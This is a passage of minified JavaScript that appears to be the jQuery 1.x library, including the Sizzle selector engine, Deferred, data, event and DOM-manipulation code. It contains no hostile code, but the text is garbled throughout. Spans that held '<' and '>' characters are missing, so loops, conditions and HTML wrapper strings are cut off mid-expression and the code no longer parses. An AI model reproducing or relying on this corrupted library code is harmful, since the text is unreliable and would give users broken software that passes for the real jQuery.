b,w,T,C,E,N,k,S,A,D,j,L,H,q,_,F,M,O,R,P="sizzle"+1*new Date,B=e.document,W=0,I=0,$=n(),z=n(),X=n(),U=function(e,t){return e===t&&(j=!0),0},V=1<<31,Y={}.hasOwnProperty,J=[],G=J.pop,K=J.push,Q=J.push,Z=J.slice,ee=function(e,t){for(var n=0,r=e.length;n+~]|"+ne+")"+ne+"*"),ce=new RegExp("="+ne+"*([^\\]'\"]*?)"+ne+"*\\]","g"),fe=new RegExp(oe),de=new RegExp("^"+re+"$"),pe={ID:new RegExp("^#("+re+")"),CLASS:new RegExp("^\\.("+re+")"),TAG:new RegExp("^("+re+"|[*])"),ATTR:new RegExp("^"+ie),PSEUDO:new RegExp("^"+oe),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+ne+"*(even|odd|(([+-]|)(\\d*)n|)"+ne+"*(?:([+-]|)"+ne+"*(\\d+)|))"+ne+"*\\)|)","i"),bool:new RegExp("^(?:"+te+")$","i"),needsContext:new RegExp("^"+ne+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+ne+"*((?:-\\d)?\\d*)"+ne+"*\\)|)(?=[^-]|$)","i")},he=/^(?:input|select|textarea|button)$/i,ge=/^h\d$/i,me=/^[^{]+\{\s*\[native \w/,ye=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ve=/[+~]/,xe=/'|\\/g,be=new RegExp("\\\\([\\da-f]{1,6}"+ne+"?|("+ne+")|.)","ig"),we=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},Te=function(){L()};try{Q.apply(J=Z.call(B.childNodes),B.childNodes),J[B.childNodes.length].nodeType}catch(Ce){Q={apply:J.length?function(e,t){K.apply(e,Z.call(t))}:function(e,t){for(var n=e.length,r=0;e[n++]=t[r++];);e.length=n-1}}}w=t.support={},E=t.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},L=t.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:B;return r!==H&&9===r.nodeType&&r.documentElement?(H=r,q=H.documentElement,_=!E(H),(n=H.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",Te,!1):n.attachEvent&&n.attachEvent("onunload",Te)),w.attributes=i(function(e){return e.className="i",!e.getAttribute("className")}),w.getElementsByTagName=i(function(e){return e.appendChild(H.createComment("")),!e.getElementsByTagName("*").length}),w.getElementsByClassName=me.test(H.getElementsByClassName),w.getById=i(function(e){return q.appendChild(e).id=P,!H.getElementsByName||!H.getElementsByName(P).length}),w.getById?(T.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&_){var n=t.getElementById(e);return n?[n]:[]}},T.filter.ID=function(e){var t=e.replace(be,we);return function(e){return e.getAttribute("id")===t}}):(delete T.find.ID,T.filter.ID=function(e){var t=e.replace(be,we);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}}),T.find.TAG=w.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):w.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){for(;n=o[i++];)1===n.nodeType&&r.push(n);return r}return o},T.find.CLASS=w.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&_)return t.getElementsByClassName(e)},M=[],F=[],(w.qsa=me.test(H.querySelectorAll))&&(i(function(e){q.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&F.push("[*^$]="+ne+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||F.push("\\["+ne+"*(?:value|"+te+")"),e.querySelectorAll("[id~="+P+"-]").length||F.push("~="),e.querySelectorAll(":checked").length||F.push(":checked"),e.querySelectorAll("a#"+P+"+*").length||F.push(".#.+[+~]")}),i(function(e){var t=H.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&F.push("name"+ne+"*[*^$|!~]?="),e.querySelectorAll(":enabled").length||F.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),F.push(",.*:")})),(w.matchesSelector=me.test(O=q.matches||q.webkitMatchesSelector||q.mozMatchesSelector||q.oMatchesSelector||q.msMatchesSelector))&&i(function(e){w.disconnectedMatch=O.call(e,"div"),O.call(e,"[s!='']:x"),M.push("!=",oe)}),F=F.length&&new RegExp(F.join("|")),M=M.length&&new RegExp(M.join("|")),t=me.test(q.compareDocumentPosition),R=t||me.test(q.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},U=t?function(e,t){if(e===t)return j=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n?n:(n=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1,1&n||!w.sortDetached&&t.compareDocumentPosition(e)===n?e===H||e.ownerDocument===B&&R(B,e)?-1:t===H||t.ownerDocument===B&&R(B,t)?1:D?ee(D,e)-ee(D,t):0:4&n?-1:1)}:function(e,t){if(e===t)return j=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,s=[e],u=[t];if(!i||!o)return e===H?-1:t===H?1:i?-1:o?1:D?ee(D,e)-ee(D,t):0;if(i===o)return a(e,t);for(n=e;n=n.parentNode;)s.unshift(n);for(n=t;n=n.parentNode;)u.unshift(n);for(;s[r]===u[r];)r++;return r?a(s[r],u[r]):s[r]===B?-1:u[r]===B?1:0},H):H},t.matches=function(e,n){return t(e,null,null,n)},t.matchesSelector=function(e,n){if((e.ownerDocument||e)!==H&&L(e),n=n.replace(ce,"='$1']"),w.matchesSelector&&_&&!X[n+" "]&&(!M||!M.test(n))&&(!F||!F.test(n)))try{var r=O.call(e,n);if(r||w.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(i){}return t(n,H,null,[e]).length>0},t.contains=function(e,t){return(e.ownerDocument||e)!==H&&L(e),R(e,t)},t.attr=function(e,t){(e.ownerDocument||e)!==H&&L(e);var n=T.attrHandle[t.toLowerCase()],r=n&&Y.call(T.attrHandle,t.toLowerCase())?n(e,t,!_):void 0;return void 0!==r?r:w.attributes||!_?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},t.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},t.uniqueSort=function(e){var t,n=[],r=0,i=0;if(j=!w.detectDuplicates,D=!w.sortStable&&e.slice(0),e.sort(U),j){for(;t=e[i++];)t===e[i]&&(r=n.push(i));for(;r--;)e.splice(n[r],1)}return D=null,e},C=t.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=C(e)}else if(3===i||4===i)return e.nodeValue}else for(;t=e[r++];)n+=C(t);return n},T=t.selectors={cacheLength:50,createPseudo:r,match:pe,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(be,we),e[3]=(e[3]||e[4]||e[5]||"").replace(be,we),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||t.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&t.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return pe.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&fe.test(n)&&(t=N(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(be,we).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=$[e+" "];return t||(t=new RegExp("(^|"+ne+")"+e+"("+ne+"|$)"))&&$(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,n,r){return function(i){var o=t.attr(i,e);return null==o?"!="===n:!n||(o+="","="===n?o===r:"!="===n?o!==r:"^="===n?r&&0===o.indexOf(r):"*="===n?r&&o.indexOf(r)>-1:"$="===n?r&&o.slice(-r.length)===r:"~="===n?(" "+o.replace(ae," ")+" ").indexOf(r)>-1:"|="===n&&(o===r||o.slice(0,r.length+1)===r+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,f,d,p,h,g=o!==a?"nextSibling":"previousSibling",m=t.parentNode,y=s&&t.nodeName.toLowerCase(),v=!u&&!s,x=!1;if(m){if(o){for(;g;){for(d=t;d=d[g];)if(s?d.nodeName.toLowerCase()===y:1===d.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?m.firstChild:m.lastChild],a&&v){for(d=m,f=d[P]||(d[P]={}),c=f[d.uniqueID]||(f[d.uniqueID]={}), +l=c[e]||[],p=l[0]===W&&l[1],x=p&&l[2],d=p&&m.childNodes[p];d=++p&&d&&d[g]||(x=p=0)||h.pop();)if(1===d.nodeType&&++x&&d===t){c[e]=[W,p,x];break}}else if(v&&(d=t,f=d[P]||(d[P]={}),c=f[d.uniqueID]||(f[d.uniqueID]={}),l=c[e]||[],p=l[0]===W&&l[1],x=p),x===!1)for(;(d=++p&&d&&d[g]||(x=p=0)||h.pop())&&((s?d.nodeName.toLowerCase()!==y:1!==d.nodeType)||!++x||(v&&(f=d[P]||(d[P]={}),c=f[d.uniqueID]||(f[d.uniqueID]={}),c[e]=[W,x]),d!==t)););return x-=i,x===r||x%r===0&&x/r>=0}}},PSEUDO:function(e,n){var i,o=T.pseudos[e]||T.setFilters[e.toLowerCase()]||t.error("unsupported pseudo: "+e);return o[P]?o(n):o.length>1?(i=[e,e,"",n],T.setFilters.hasOwnProperty(e.toLowerCase())?r(function(e,t){for(var r,i=o(e,n),a=i.length;a--;)r=ee(e,i[a]),e[r]=!(t[r]=i[a])}):function(e){return o(e,0,i)}):o}},pseudos:{not:r(function(e){var t=[],n=[],i=k(e.replace(se,"$1"));return i[P]?r(function(e,t,n,r){for(var o,a=i(e,null,r,[]),s=e.length;s--;)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,r,o){return t[0]=e,i(t,null,o,n),t[0]=null,!n.pop()}}),has:r(function(e){return function(n){return t(e,n).length>0}}),contains:r(function(e){return e=e.replace(be,we),function(t){return(t.textContent||t.innerText||C(t)).indexOf(e)>-1}}),lang:r(function(e){return de.test(e||"")||t.error("unsupported lang: "+e),e=e.replace(be,we).toLowerCase(),function(t){var n;do if(n=_?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return n=n.toLowerCase(),n===e||0===n.indexOf(e+"-");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===q},focus:function(e){return e===H.activeElement&&(!H.hasFocus||H.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!T.pseudos.empty(e)},header:function(e){return ge.test(e.nodeName)},input:function(e){return he.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:l(function(){return[0]}),last:l(function(e,t){return[t-1]}),eq:l(function(e,t,n){return[n<0?n+t:n]}),even:l(function(e,t){for(var n=0;n=0;)e.push(r);return e}),gt:l(function(e,t,n){for(var r=n<0?n+t:n;++r2&&"ID"===(a=o[0]).type&&w.getById&&9===t.nodeType&&_&&T.relative[o[1].type]){if(t=(T.find.ID(a.matches[0].replace(be,we),t)||[])[0],!t)return n;l&&(t=t.parentNode),e=e.slice(o.shift().value.length)}for(i=pe.needsContext.test(e)?0:o.length;i--&&(a=o[i],!T.relative[s=a.type]);)if((u=T.find[s])&&(r=u(a.matches[0].replace(be,we),ve.test(o[0].type)&&c(t.parentNode)||t))){if(o.splice(i,1),e=r.length&&d(o),!e)return Q.apply(n,r),n;break}}return(l||k(e,f))(r,t,!_,n,!t||ve.test(e)&&c(t.parentNode)||t),n},w.sortStable=P.split("").sort(U).join("")===P,w.detectDuplicates=!!j,L(),w.sortDetached=i(function(e){return 1&e.compareDocumentPosition(H.createElement("div"))}),i(function(e){return e.innerHTML="","#"===e.firstChild.getAttribute("href")})||o("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),w.attributes&&i(function(e){return e.innerHTML="",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||o("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),i(function(e){return null==e.getAttribute("disabled")})||o(te,function(e,t,n){var r;if(!n)return e[t]===!0?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),t}(e);pe.find=ve,pe.expr=ve.selectors,pe.expr[":"]=pe.expr.pseudos,pe.uniqueSort=pe.unique=ve.uniqueSort,pe.text=ve.getText,pe.isXMLDoc=ve.isXML,pe.contains=ve.contains;var xe=function(e,t,n){for(var r=[],i=void 0!==n;(e=e[t])&&9!==e.nodeType;)if(1===e.nodeType){if(i&&pe(e).is(n))break;r.push(e)}return r},be=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},we=pe.expr.match.needsContext,Te=/^<([\w-]+)\s*\/?>(?:<\/\1>|)$/,Ce=/^.[^:#\[\.,]*$/;pe.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?pe.find.matchesSelector(r,e)?[r]:[]:pe.find.matches(e,pe.grep(t,function(e){return 1===e.nodeType}))},pe.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if("string"!=typeof e)return this.pushStack(pe(e).filter(function(){for(t=0;t1?pe.unique(n):n),n.selector=this.selector?this.selector+" "+e:e,n},filter:function(e){return this.pushStack(r(this,e||[],!1))},not:function(e){return this.pushStack(r(this,e||[],!0))},is:function(e){return!!r(this,"string"==typeof e&&we.test(e)?pe(e):e||[],!1).length}});var Ee,Ne=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,ke=pe.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||Ee,"string"==typeof e){if(r="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:Ne.exec(e),!r||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof pe?t[0]:t,pe.merge(this,pe.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:re,!0)),Te.test(r[1])&&pe.isPlainObject(t))for(r in t)pe.isFunction(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}if(i=re.getElementById(r[2]),i&&i.parentNode){if(i.id!==r[2])return Ee.find(e);this.length=1,this[0]=i}return this.context=re,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):pe.isFunction(e)?"undefined"!=typeof n.ready?n.ready(e):e(pe):(void 0!==e.selector&&(this.selector=e.selector,this.context=e.context),pe.makeArray(e,this))};ke.prototype=pe.fn,Ee=pe(re);var Se=/^(?:parents|prev(?:Until|All))/,Ae={children:!0,contents:!0,next:!0,prev:!0};pe.fn.extend({has:function(e){var t,n=pe(e,this),r=n.length;return this.filter(function(){for(t=0;t-1:1===n.nodeType&&pe.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?pe.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?pe.inArray(this[0],pe(e)):pe.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(pe.uniqueSort(pe.merge(this.get(),pe(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),pe.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return xe(e,"parentNode")},parentsUntil:function(e,t,n){return xe(e,"parentNode",n)},next:function(e){return i(e,"nextSibling")},prev:function(e){return i(e,"previousSibling")},nextAll:function(e){return xe(e,"nextSibling")},prevAll:function(e){return xe(e,"previousSibling")},nextUntil:function(e,t,n){return xe(e,"nextSibling",n)},prevUntil:function(e,t,n){return xe(e,"previousSibling",n)},siblings:function(e){return be((e.parentNode||{}).firstChild,e)},children:function(e){return be(e.firstChild)},contents:function(e){return pe.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:pe.merge([],e.childNodes)}},function(e,t){pe.fn[e]=function(n,r){var i=pe.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=pe.filter(r,i)),this.length>1&&(Ae[e]||(i=pe.uniqueSort(i)),Se.test(e)&&(i=i.reverse())),this.pushStack(i)}});var De=/\S+/g;pe.Callbacks=function(e){e="string"==typeof e?o(e):pe.extend({},e);var t,n,r,i,a=[],s=[],u=-1,l=function(){for(i=e.once,r=t=!0;s.length;u=-1)for(n=s.shift();++u-1;)a.splice(n,1),n<=u&&u--}),this},has:function(e){return e?pe.inArray(e,a)>-1:a.length>0},empty:function(){return a&&(a=[]),this},disable:function(){return i=s=[],a=n="",this},disabled:function(){return!a},lock:function(){return i=!0,n||c.disable(),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=n||[],n=[e,n.slice?n.slice():n],s.push(n),t||l()),this},fire:function(){return c.fireWith(this,arguments),this},fired:function(){return!!r}};return c},pe.extend({Deferred:function(e){var t=[["resolve","done",pe.Callbacks("once memory"),"resolved"],["reject","fail",pe.Callbacks("once memory"),"rejected"],["notify","progress",pe.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return pe.Deferred(function(n){pe.each(t,function(t,o){var a=pe.isFunction(e[t])&&e[t];i[o[1]](function(){var e=a&&a.apply(this,arguments);e&&pe.isFunction(e.promise)?e.promise().progress(n.notify).done(n.resolve).fail(n.reject):n[o[0]+"With"](this===r?n.promise():this,a?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?pe.extend(e,r):r}},i={};return r.pipe=r.then,pe.each(t,function(e,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0]+"With"](this===i?r:this,arguments),this},i[o[0]+"With"]=a.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t,n,r,i=0,o=ie.call(arguments),a=o.length,s=1!==a||e&&pe.isFunction(e.promise)?a:0,u=1===s?e:pe.Deferred(),l=function(e,n,r){return function(i){n[e]=this,r[e]=arguments.length>1?ie.call(arguments):i,r===t?u.notifyWith(n,r):--s||u.resolveWith(n,r)}};if(a>1)for(t=new Array(a),n=new Array(a),r=new Array(a);i0||(je.resolveWith(re,[pe]),pe.fn.triggerHandler&&(pe(re).triggerHandler("ready"),pe(re).off("ready"))))}}),pe.ready.promise=function(t){if(!je)if(je=pe.Deferred(),"complete"===re.readyState||"loading"!==re.readyState&&!re.documentElement.doScroll)e.setTimeout(pe.ready);else if(re.addEventListener)re.addEventListener("DOMContentLoaded",s),e.addEventListener("load",s);else{re.attachEvent("onreadystatechange",s),e.attachEvent("onload",s);var n=!1;try{n=null==e.frameElement&&re.documentElement}catch(r){}n&&n.doScroll&&!function i(){if(!pe.isReady){try{n.doScroll("left")}catch(t){return e.setTimeout(i,50)}a(),pe.ready()}}()}return je.promise(t)},pe.ready.promise();var Le;for(Le in pe(fe))break;fe.ownFirst="0"===Le,fe.inlineBlockNeedsLayout=!1,pe(function(){var e,t,n,r;n=re.getElementsByTagName("body")[0],n&&n.style&&(t=re.createElement("div"),r=re.createElement("div"),r.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",n.appendChild(r).appendChild(t),"undefined"!=typeof t.style.zoom&&(t.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1",fe.inlineBlockNeedsLayout=e=3===t.offsetWidth,e&&(n.style.zoom=1)),n.removeChild(r))}),function(){var e=re.createElement("div");fe.deleteExpando=!0;try{delete e.test}catch(t){fe.deleteExpando=!1}e=null}();var He=function(e){var t=pe.noData[(e.nodeName+" ").toLowerCase()],n=+e.nodeType||1;return(1===n||9===n)&&(!t||t!==!0&&e.getAttribute("classid")===t)},qe=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,_e=/([A-Z])/g;pe.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(e){return e=e.nodeType?pe.cache[e[pe.expando]]:e[pe.expando],!!e&&!l(e)},data:function(e,t,n){return c(e,t,n)},removeData:function(e,t){return f(e,t)},_data:function(e,t,n){return c(e,t,n,!0)},_removeData:function(e,t){return f(e,t,!0)}}),pe.fn.extend({data:function(e,t){var n,r,i,o=this[0],a=o&&o.attributes;if(void 0===e){if(this.length&&(i=pe.data(o),1===o.nodeType&&!pe._data(o,"parsedAttrs"))){for(n=a.length;n--;)a[n]&&(r=a[n].name,0===r.indexOf("data-")&&(r=pe.camelCase(r.slice(5)),u(o,r,i[r])));pe._data(o,"parsedAttrs",!0)}return i}return"object"==typeof e?this.each(function(){pe.data(this,e)}):arguments.length>1?this.each(function(){pe.data(this,e,t)}):o?u(o,e,pe.data(o,e)):void 0},removeData:function(e){return this.each(function(){pe.removeData(this,e)})}}),pe.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=pe._data(e,t),n&&(!r||pe.isArray(n)?r=pe._data(e,t,pe.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=pe.queue(e,t),r=n.length,i=n.shift(),o=pe._queueHooks(e,t),a=function(){pe.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return pe._data(e,n)||pe._data(e,n,{empty:pe.Callbacks("once memory").add(function(){pe._removeData(e,t+"queue"),pe._removeData(e,n)})})}}),pe.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length
    a",fe.leadingWhitespace=3===e.firstChild.nodeType,fe.tbody=!e.getElementsByTagName("tbody").length,fe.htmlSerialize=!!e.getElementsByTagName("link").length,fe.html5Clone="<:nav>"!==re.createElement("nav").cloneNode(!0).outerHTML,n.type="checkbox",n.checked=!0,t.appendChild(n),fe.appendChecked=n.checked,e.innerHTML="",fe.noCloneChecked=!!e.cloneNode(!0).lastChild.defaultValue,t.appendChild(e),n=re.createElement("input"),n.setAttribute("type","radio"),n.setAttribute("checked","checked"),n.setAttribute("name","t"),e.appendChild(n),fe.checkClone=e.cloneNode(!0).cloneNode(!0).lastChild.checked,fe.noCloneEvent=!!e.addEventListener,e[pe.expando]=1,fe.attributes=!e.getAttribute(pe.expando)}();var Xe={option:[1,""],legend:[1,"
    ","
    "],area:[1,"",""],param:[1,"",""],thead:[1,"","
    "],tr:[2,"","
    "],col:[2,"","
    "],td:[3,"","
    "],_default:fe.htmlSerialize?[0,"",""]:[1,"X
    ","
    "]};Xe.optgroup=Xe.option,Xe.tbody=Xe.tfoot=Xe.colgroup=Xe.caption=Xe.thead,Xe.th=Xe.td;var Ue=/<|&#?\w+;/,Ve=/-1&&(h=p.split("."),p=h.shift(),h.sort()),a=p.indexOf(":")<0&&"on"+p,t=t[pe.expando]?t:new pe.Event(p,"object"==typeof t&&t),t.isTrigger=i?2:3,t.namespace=h.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=r),n=null==n?[t]:pe.makeArray(n,[t]),l=pe.event.special[p]||{},i||!l.trigger||l.trigger.apply(r,n)!==!1)){if(!i&&!l.noBubble&&!pe.isWindow(r)){for(u=l.delegateType||p,Ke.test(u+p)||(s=s.parentNode);s;s=s.parentNode)d.push(s),c=s;c===(r.ownerDocument||re)&&d.push(c.defaultView||c.parentWindow||e)}for(f=0;(s=d[f++])&&!t.isPropagationStopped();)t.type=f>1?u:l.bindType||p,o=(pe._data(s,"events")||{})[t.type]&&pe._data(s,"handle"),o&&o.apply(s,n),o=a&&s[a],o&&o.apply&&He(s)&&(t.result=o.apply(s,n),t.result===!1&&t.preventDefault());if(t.type=p,!i&&!t.isDefaultPrevented()&&(!l._default||l._default.apply(d.pop(),n)===!1)&&He(r)&&a&&r[p]&&!pe.isWindow(r)){c=r[a],c&&(r[a]=null),pe.event.triggered=p;try{r[p]()}catch(g){}pe.event.triggered=void 0,c&&(r[a]=c)}return t.result}},dispatch:function(e){e=pe.event.fix(e);var t,n,r,i,o,a=[],s=ie.call(arguments),u=(pe._data(this,"events")||{})[e.type]||[],l=pe.event.special[e.type]||{};if(s[0]=e,e.delegateTarget=this,!l.preDispatch||l.preDispatch.call(this,e)!==!1){for(a=pe.event.handlers.call(this,e,u),t=0;(i=a[t++])&&!e.isPropagationStopped();)for(e.currentTarget=i.elem,n=0;(o=i.handlers[n++])&&!e.isImmediatePropagationStopped();)e.rnamespace&&!e.rnamespace.test(o.namespace)||(e.handleObj=o,e.data=o.data,r=((pe.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,s),void 0!==r&&(e.result=r)===!1&&(e.preventDefault(),e.stopPropagation()));return l.postDispatch&&l.postDispatch.call(this,e),e.result}},handlers:function(e,t){var n,r,i,o,a=[],s=t.delegateCount,u=e.target;if(s&&u.nodeType&&("click"!==e.type||isNaN(e.button)||e.button<1))for(;u!=this;u=u.parentNode||this)if(1===u.nodeType&&(u.disabled!==!0||"click"!==e.type)){for(r=[],n=0;n-1:pe.find(i,this,null,[u]).length),r[i]&&r.push(o);r.length&&a.push({elem:u,handlers:r})}return s]","i"),tt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi,nt=/\s*$/g,at=p(re),st=at.appendChild(re.createElement("div"));pe.extend({htmlPrefilter:function(e){return e.replace(tt,"<$1>")},clone:function(e,t,n){var r,i,o,a,s,u=pe.contains(e.ownerDocument,e);if(fe.html5Clone||pe.isXMLDoc(e)||!et.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(st.innerHTML=e.outerHTML,st.removeChild(o=st.firstChild)),!(fe.noCloneEvent&&fe.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||pe.isXMLDoc(e)))for(r=h(o),s=h(e),a=0;null!=(i=s[a]);++a)r[a]&&k(i,r[a]);if(t)if(n)for(s=s||h(e),r=r||h(o),a=0;null!=(i=s[a]);a++)N(i,r[a]);else N(e,o);return r=h(o,"script"),r.length>0&&g(r,!u&&h(e,"script")),r=s=i=null,o},cleanData:function(e,t){for(var n,r,i,o,a=0,s=pe.expando,u=pe.cache,l=fe.attributes,c=pe.event.special;null!=(n=e[a]);a++)if((t||He(n))&&(i=n[s],o=i&&u[i])){if(o.events)for(r in o.events)c[r]?pe.event.remove(n,r):pe.removeEvent(n,r,o.handle);u[i]&&(delete u[i],l||"undefined"==typeof n.removeAttribute?n[s]=void 0:n.removeAttribute(s),ne.push(i))}}}),pe.fn.extend({domManip:S,detach:function(e){return A(this,e,!0)},remove:function(e){return A(this,e)},text:function(e){return Pe(this,function(e){return void 0===e?pe.text(this):this.empty().append((this[0]&&this[0].ownerDocument||re).createTextNode(e))},null,e,arguments.length)},append:function(){return S(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=T(this,e);t.appendChild(e)}})},prepend:function(){return S(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=T(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return S(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return S(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++){for(1===e.nodeType&&pe.cleanData(h(e,!1));e.firstChild;)e.removeChild(e.firstChild);e.options&&pe.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return pe.clone(this,e,t)})},html:function(e){return Pe(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e)return 1===t.nodeType?t.innerHTML.replace(Ze,""):void 0;if("string"==typeof 